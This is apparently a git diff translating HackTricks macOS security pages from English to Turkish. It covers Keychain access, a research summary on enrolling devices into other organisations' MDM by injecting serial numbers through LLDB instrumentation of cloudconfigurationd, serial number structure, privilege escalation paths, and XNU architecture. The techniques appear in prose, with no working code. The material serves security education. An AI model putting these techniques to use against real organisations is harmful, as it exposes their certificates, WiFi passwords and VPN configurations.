||||
> [!CAUTION]
|
||||
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
|
||||
> Bu nedenle, eğer **1 uygulama listelenmişse**, o uygulamaya **kod enjekte etmeniz** gerekir.
|
||||
>
|
||||
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
|
||||
> Eğer **apple** **partitionID**'de belirtilmişse, **`osascript`** ile erişebilirsiniz, bu nedenle partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şey. Bunun için **`Python`** da kullanılabilir.
|
||||
|
||||
### Two additional attributes
|
||||
### İki ek özellik
|
||||
|
||||
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
|
||||
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
|
||||
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
|
||||
- **Görünmez**: Bu, girişi **UI** Anahtar Zinciri uygulamasından **gizlemek** için bir boolean bayraktır
|
||||
- **Genel**: **Meta verileri** depolamak içindir (yani ŞİFRELİ DEĞİLDİR)
|
||||
- Microsoft, hassas uç noktaya erişim için tüm yenileme jetonlarını düz metin olarak saklıyordu.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -1,53 +1,53 @@
|
||||
# Enrolling Devices in Other Organisations
|
||||
# Diğer Kuruluşlarda Cihaz Kaydı
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Intro
|
||||
## Giriş
|
||||
|
||||
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
|
||||
[**Daha önce belirtildiği gibi**](./#what-is-mdm-mobile-device-management)**,** bir cihazı bir kuruluşa kaydetmek için **yalnızca o Kuruluşa ait bir Seri Numarası gereklidir**. Cihaz kaydedildikten sonra, birkaç kuruluş yeni cihaza hassas veriler yükleyecektir: sertifikalar, uygulamalar, WiFi şifreleri, VPN yapılandırmaları [ve benzeri](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Bu nedenle, kayıt süreci doğru bir şekilde korunmazsa, bu saldırganlar için tehlikeli bir giriş noktası olabilir.
|
||||
|
||||
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
|
||||
**Aşağıda, araştırmanın bir özeti bulunmaktadır [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Daha fazla teknik detay için kontrol edin!**
|
||||
|
||||
## Overview of DEP and MDM Binary Analysis
|
||||
## DEP ve MDM İkili Analizi Genel Görünümü
|
||||
|
||||
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
|
||||
Bu araştırma, macOS'taki Cihaz Kaydı Programı (DEP) ve Mobil Cihaz Yönetimi (MDM) ile ilişkili ikililere dalmaktadır. Ana bileşenler şunlardır:
|
||||
|
||||
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
|
||||
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
|
||||
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
|
||||
- **`mdmclient`**: MDM sunucularıyla iletişim kurar ve macOS 10.13.4 öncesi sürümlerde DEP kontrol noktalarını tetikler.
|
||||
- **`profiles`**: Yapılandırma Profillerini yönetir ve macOS 10.13.4 ve sonraki sürümlerde DEP kontrol noktalarını tetikler.
|
||||
- **`cloudconfigurationd`**: DEP API iletişimlerini yönetir ve Cihaz Kaydı profillerini alır.
|
||||
|
||||
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
|
||||
DEP kontrol noktaları, Aktivasyon Kaydını almak için özel Yapılandırma Profilleri çerçevesinden `CPFetchActivationRecord` ve `CPGetActivationRecord` işlevlerini kullanır; `CPFetchActivationRecord`, `cloudconfigurationd` ile XPC üzerinden koordine olur.
|
||||
|
||||
## Tesla Protocol and Absinthe Scheme Reverse Engineering
|
||||
## Tesla Protokolü ve Absinthe Şeması Ters Mühendislik
|
||||
|
||||
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
|
||||
DEP kontrol noktası, `cloudconfigurationd`'nin _iprofiles.apple.com/macProfile_ adresine şifrelenmiş, imzalı bir JSON yükü göndermesini içerir. Yük, cihazın seri numarasını ve "RequestProfileConfiguration" eylemini içerir. Kullanılan şifreleme şeması dahili olarak "Absinthe" olarak adlandırılmaktadır. Bu şemanın çözülmesi karmaşıktır ve birçok adım içerir; bu da Aktivasyon Kaydı isteğine keyfi seri numaraları eklemek için alternatif yöntemlerin araştırılmasına yol açmıştır.
|
||||
|
||||
## Proxying DEP Requests
|
||||
## DEP İsteklerini Proxyleme
|
||||
|
||||
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
|
||||
_iprofiles.apple.com_ adresine giden DEP isteklerini Charles Proxy gibi araçlarla kesmeye ve değiştirmeye yönelik girişimler, yük şifrelemesi ve SSL/TLS güvenlik önlemleri nedeniyle engellenmiştir. Ancak, `MCCloudConfigAcceptAnyHTTPSCertificate` yapılandırmasını etkinleştirmek, sunucu sertifika doğrulamasını atlamaya olanak tanır; ancak yükün şifreli doğası, şifre çözme anahtarı olmadan seri numarasının değiştirilmesini engeller.
|
||||
|
||||
## Instrumenting System Binaries Interacting with DEP
|
||||
## DEP ile Etkileşimde Bulunan Sistem İkili Dosyalarını Enstrümante Etme
|
||||
|
||||
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
|
||||
`cloudconfigurationd` gibi sistem ikili dosyalarını enstrümante etmek, macOS'ta Sistem Bütünlüğü Koruması'nın (SIP) devre dışı bırakılmasını gerektirir. SIP devre dışı bırakıldığında, LLDB gibi araçlar sistem süreçlerine bağlanmak ve DEP API etkileşimlerinde kullanılan seri numarasını potansiyel olarak değiştirmek için kullanılabilir. Bu yöntem, yetkilendirmeler ve kod imzalama karmaşıklıklarından kaçındığı için tercih edilmektedir.
|
||||
|
||||
**Exploiting Binary Instrumentation:**
|
||||
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
|
||||
**İkili Enstrümantasyonun Sömürülmesi:**
|
||||
`cloudconfigurationd`'de JSON serileştirmeden önce DEP istek yükünü değiştirmek etkili olmuştur. Süreç şunları içeriyordu:
|
||||
|
||||
1. Attaching LLDB to `cloudconfigurationd`.
|
||||
2. Locating the point where the system serial number is fetched.
|
||||
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
|
||||
1. LLDB'yi `cloudconfigurationd`'ye bağlamak.
|
||||
2. Sistem seri numarasının alındığı noktayı bulmak.
|
||||
3. Yük şifrelenmeden ve gönderilmeden önce belleğe keyfi bir seri numarası enjekte etmek.
|
||||
|
||||
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
|
||||
Bu yöntem, keyfi seri numaraları için tam DEP profillerinin alınmasını sağladı ve potansiyel bir zafiyeti gösterdi.
|
||||
|
||||
### Automating Instrumentation with Python
|
||||
### Python ile Enstrümantasyonu Otomatikleştirme
|
||||
|
||||
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
|
||||
Sömürü süreci, keyfi seri numaralarını programatik olarak enjekte etmek ve karşılık gelen DEP profillerini almak için Python ile LLDB API'si kullanılarak otomatikleştirildi.
|
||||
|
||||
### Potential Impacts of DEP and MDM Vulnerabilities
|
||||
### DEP ve MDM Zafiyetlerinin Potansiyel Etkileri
|
||||
|
||||
The research highlighted significant security concerns:
|
||||
Araştırma, önemli güvenlik endişelerini vurgulamıştır:
|
||||
|
||||
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
|
||||
1. **Bilgi Sızdırma**: DEP'e kayıtlı bir seri numarası sağlayarak, DEP profilinde bulunan hassas kurumsal bilgilere erişim sağlanabilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,40 +1,11 @@
|
||||
# macOS Serial Number
|
||||
# macOS Seri Numarası
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
|
||||
2010 sonrası Apple cihazları, her segmentin belirli bilgileri ilettiği **12 alfanümerik karakterden** oluşan seri numaralarına sahiptir:
|
||||
|
||||
- **First 3 Characters**: Indicate the **manufacturing location**.
|
||||
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
|
||||
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
|
||||
- **Last 4 Characters**: Specify the **model number**.
|
||||
|
||||
For instance, the serial number **C02L13ECF8J2** follows this structure.
|
||||
|
||||
### **Manufacturing Locations (First 3 Characters)**
|
||||
|
||||
Certain codes represent specific factories:
|
||||
|
||||
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
|
||||
- **RN**: Mexico.
|
||||
- **CK**: Cork, Ireland.
|
||||
- **VM**: Foxconn, Czech Republic.
|
||||
- **SG/E**: Singapore.
|
||||
- **MB**: Malaysia.
|
||||
- **PT/CY**: Korea.
|
||||
- **EE/QT/UV**: Taiwan.
|
||||
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
|
||||
- **C0, C3, C7**: Specific cities in China.
|
||||
- **RM**: Refurbished devices.
|
||||
|
||||
### **Year of Manufacturing (4th Character)**
|
||||
|
||||
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
|
||||
|
||||
### **Week of Manufacturing (5th Character)**
|
||||
|
||||
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
- **İlk 3 Karakter**: **üretim yerini** gösterir.
|
||||
- **Karakterler 4 & 5**: **üretim yılı ve haftasını** belirtir.
|
||||
- **Karakterler 6'dan 8'e**: Her cihaz için
|
||||
|
||||
@ -1,33 +1,18 @@
|
||||
# macOS Security & Privilege Escalation
|
||||
# macOS Güvenliği ve Yetki Yükseltme
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
## Temel MacOS
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Eğer macOS ile tanışık değilseniz, macOS'un temellerini öğrenmeye başlamalısınız:
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Basic MacOS
|
||||
|
||||
If you are not familiar with macOS, you should start learning the basics of macOS:
|
||||
|
||||
- Special macOS **files & permissions:**
|
||||
- Özel macOS **dosyaları ve izinleri:**
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/
|
||||
{{#endref}}
|
||||
|
||||
- Common macOS **users**
|
||||
- Yaygın macOS **kullanıcıları**
|
||||
|
||||
{{#ref}}
|
||||
macos-users.md
|
||||
@ -39,112 +24,97 @@ macos-users.md
|
||||
macos-applefs.md
|
||||
{{#endref}}
|
||||
|
||||
- The **architecture** of the k**ernel**
|
||||
- **kernel**'in **mimari**si
|
||||
|
||||
{{#ref}}
|
||||
mac-os-architecture/
|
||||
{{#endref}}
|
||||
|
||||
- Common macOS n**etwork services & protocols**
|
||||
- Yaygın macOS **ağ hizmetleri ve protokolleri**
|
||||
|
||||
{{#ref}}
|
||||
macos-protocols.md
|
||||
{{#endref}}
|
||||
|
||||
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
- **Açık kaynak** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
- Bir `tar.gz` indirmek için, [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) olarak değiştirin.
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
|
||||
Şirketlerde **macOS** sistemlerinin büyük olasılıkla **bir MDM ile yönetileceği** düşünülmektedir. Bu nedenle, bir saldırgan açısından **bu durumun nasıl çalıştığını** bilmek ilginçtir:
|
||||
|
||||
{{#ref}}
|
||||
../macos-red-teaming/macos-mdm/
|
||||
{{#endref}}
|
||||
|
||||
### MacOS - Inspecting, Debugging and Fuzzing
|
||||
### MacOS - İnceleme, Hata Ayıklama ve Fuzzing
|
||||
|
||||
{{#ref}}
|
||||
macos-apps-inspecting-debugging-and-fuzzing/
|
||||
{{#endref}}
|
||||
|
||||
## MacOS Security Protections
|
||||
## MacOS Güvenlik Koruma Önlemleri
|
||||
|
||||
{{#ref}}
|
||||
macos-security-protections/
|
||||
{{#endref}}
|
||||
|
||||
## Attack Surface
|
||||
## Saldırı Yüzeyi
|
||||
|
||||
### File Permissions
|
||||
### Dosya İzinleri
|
||||
|
||||
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
|
||||
This could occur in the following situations:
|
||||
Eğer bir **root olarak çalışan bir işlem** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetkileri yükseltmek için** kötüye kullanabilir.\
|
||||
Bu aşağıdaki durumlarda gerçekleşebilir:
|
||||
|
||||
- File used was already created by a user (owned by the user)
|
||||
- File used is writable by the user because of a group
|
||||
- File used is inside a directory owned by the user (the user could create the file)
|
||||
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
|
||||
- Kullanılan dosya zaten bir kullanıcı tarafından oluşturulmuş (kullanıcıya ait)
|
||||
- Kullanılan dosya, bir grup nedeniyle kullanıcı tarafından yazılabilir
|
||||
- Kullanılan dosya, kullanıcıya ait bir dizin içinde (kullanıcı dosyayı oluşturabilir)
|
||||
- Kullanılan dosya, root'a ait bir dizin içinde ancak kullanıcı bir grup nedeniyle üzerinde yazma erişimine sahip (kullanıcı dosyayı oluşturabilir)
|
||||
|
||||
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
|
||||
**root** tarafından **kullanılacak bir dosya** oluşturabilmek, bir kullanıcının **içeriğinden faydalanmasına** veya hatta başka bir yere işaret etmek için **sembolik/sert bağlantılar** oluşturmasına olanak tanır.
|
||||
|
||||
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
|
||||
Bu tür güvenlik açıkları için **savunmasız `.pkg` yükleyicilerini kontrol etmeyi** unutmayın:
|
||||
|
||||
{{#ref}}
|
||||
macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### File Extension & URL scheme app handlers
|
||||
### Dosya Uzantısı ve URL şeması uygulama işleyicileri
|
||||
|
||||
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
|
||||
Dosya uzantılarıyla kaydedilen garip uygulamalar kötüye kullanılabilir ve farklı uygulamalar belirli protokolleri açmak için kaydedilebilir.
|
||||
|
||||
{{#ref}}
|
||||
macos-file-extension-apps.md
|
||||
{{#endref}}
|
||||
|
||||
## macOS TCC / SIP Privilege Escalation
|
||||
## macOS TCC / SIP Yetki Yükseltme
|
||||
|
||||
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
|
||||
macOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı olmalarını sağlayan klasörlere veya ayarlara erişim iznine sahip olabilir.
|
||||
|
||||
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
|
||||
Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırgan, **TCC ayrıcalıklarını yükseltmek** (veya ihtiyaçlarına bağlı olarak **SIP'yi atlamak**) zorundadır.
|
||||
|
||||
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
|
||||
Bu ayrıcalıklar genellikle uygulamanın imzalandığı **haklar** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir işlemin **çocuğu** olmaktır, çünkü genellikle **devralınır**.
|
||||
|
||||
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Farklı yollar bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl atlandığı**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## macOS Traditional Privilege Escalation
|
||||
## macOS Geleneksel Yetki Yükseltme
|
||||
|
||||
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
|
||||
Elbette, bir kırmızı takım perspektifinden root'a yükselmekle de ilgilenmelisiniz. Bazı ipuçları için aşağıdaki gönderiyi kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
macos-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## macOS Compliance
|
||||
## macOS Uyum
|
||||
|
||||
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
- [**OS X Olay Yanıtı: Betik ve Analiz**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
||||
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,42 +4,42 @@
|
||||
|
||||
## XNU Kernel
|
||||
|
||||
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
|
||||
**macOS'in temeli XNU'dur**, bu "X is Not Unix" anlamına gelir. Bu çekirdek esasen **Mach mikro çekirdeği** (daha sonra tartışılacak) ve **Berkeley Software Distribution** (**BSD**) unsurlarından oluşmaktadır. XNU ayrıca **I/O Kit adı verilen bir sistem aracılığıyla çekirdek sürücüleri için bir platform sağlar**. XNU çekirdeği, **kaynak kodu serbestçe erişilebilir** olan Darwin açık kaynak projesinin bir parçasıdır.
|
||||
|
||||
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
|
||||
Bir güvenlik araştırmacısı veya Unix geliştiricisi perspektifinden, **macOS** oldukça **benzer** bir **FreeBSD** sistemi gibi görünebilir; şık bir GUI ve birçok özel uygulama ile. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına aşina olan komut satırı araçlarının tamamı macOS'ta mevcut olduğundan, macOS'ta derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir.
|
||||
|
||||
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
|
||||
Mach, **UNIX uyumlu** olacak şekilde tasarlanmış bir **mikro çekirdek**'tir. Ana tasarım ilkelerinden biri, **çekirdek** alanında çalışan **kod** miktarını **minimize** etmek ve bunun yerine dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyinde görevler olarak çalışmasına** izin vermekti.
|
||||
|
||||
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
|
||||
XNU'da, Mach, bir çekirdeğin genellikle ele aldığı birçok kritik düşük seviyeli işlemin **sorumlusudur**, örneğin işlemci zamanlaması, çoklu görev ve sanal bellek yönetimi.
|
||||
|
||||
### BSD
|
||||
|
||||
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
|
||||
XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktarda kodu **içermektedir**. Bu kod, Mach ile birlikte çekirdek parçası olarak **aynı adres alanında çalışır**. Ancak, XNU içindeki FreeBSD kodu, Mach ile uyumluluğunu sağlamak için gerekli değişiklikler yapıldığından, orijinal FreeBSD kodundan önemli ölçüde farklı olabilir. FreeBSD, aşağıdakiler dahil birçok çekirdek işlemi için katkıda bulunur:
|
||||
|
||||
- Process management
|
||||
- Signal handling
|
||||
- Basic security mechanisms, including user and group management
|
||||
- System call infrastructure
|
||||
- TCP/IP stack and sockets
|
||||
- Firewall and packet filtering
|
||||
- Süreç yönetimi
|
||||
- Sinyal işleme
|
||||
- Kullanıcı ve grup yönetimi dahil temel güvenlik mekanizmaları
|
||||
- Sistem çağrısı altyapısı
|
||||
- TCP/IP yığını ve soketler
|
||||
- Güvenlik duvarı ve paket filtreleme
|
||||
|
||||
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
|
||||
BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü farklı kavramsal çerçevelere sahiptirler. Örneğin, BSD, temel yürütme birimi olarak süreçleri kullanırken, Mach, iş parçacıkları temelinde çalışır. Bu tutarsızlık, XNU'da **her BSD sürecini tam olarak bir Mach iş parçacığı içeren bir Mach görevi ile ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdek içindeki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır.
|
||||
|
||||
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
|
||||
Ayrıca, **Mach ve BSD her biri farklı güvenlik modelleri** sürdürmektedir: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **süreç sahipliğine** dayanır. Bu iki model arasındaki farklılıklar zaman zaman yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarının yanı sıra, **kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren Mach tuzakları** da vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, hibrit mimarisini oluşturur.
|
||||
|
||||
### I/O Kit - Drivers
|
||||
### I/O Kit - Sürücüler
|
||||
|
||||
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
|
||||
I/O Kit, XNU çekirdeğinde açık kaynaklı, nesne yönelimli bir **cihaz sürücüsü çerçevesidir**, **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Farklı donanımları destekleyerek çekirdeğe modüler kod eklenmesine olanak tanır.
|
||||
|
||||
{{#ref}}
|
||||
macos-iokit.md
|
||||
{{#endref}}
|
||||
|
||||
### IPC - Inter Process Communication
|
||||
### IPC - Süreçler Arası İletişim
|
||||
|
||||
{{#ref}}
|
||||
../macos-proces-abuse/macos-ipc-inter-process-communication/
|
||||
@ -47,9 +47,9 @@ macos-iokit.md
|
||||
|
||||
## macOS Kernel Extensions
|
||||
|
||||
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
|
||||
macOS, kodun yüksek ayrıcalıklarla çalışması nedeniyle **Çekirdek Uzantılarını** (.kext) yüklemek için **son derece kısıtlayıcıdır**. Aslında, varsayılan olarak neredeyse imkansızdır (bir geçiş bulunmadıkça).
|
||||
|
||||
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
|
||||
Aşağıdaki sayfada, macOS'un **kernelcache** içinde yüklediği `.kext`'i nasıl geri alabileceğinizi de görebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
macos-kernel-extensions.md
|
||||
@ -57,7 +57,7 @@ macos-kernel-extensions.md
|
||||
|
||||
### macOS System Extensions
|
||||
|
||||
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
|
||||
macOS, Çekirdek Uzantılarını kullanmak yerine, çekirdek ile etkileşimde bulunmak için kullanıcı düzeyinde API'ler sunan Sistem Uzantılarını oluşturmuştur. Bu şekilde, geliştiriciler çekirdek uzantılarını kullanmaktan kaçınabilirler.
|
||||
|
||||
{{#ref}}
|
||||
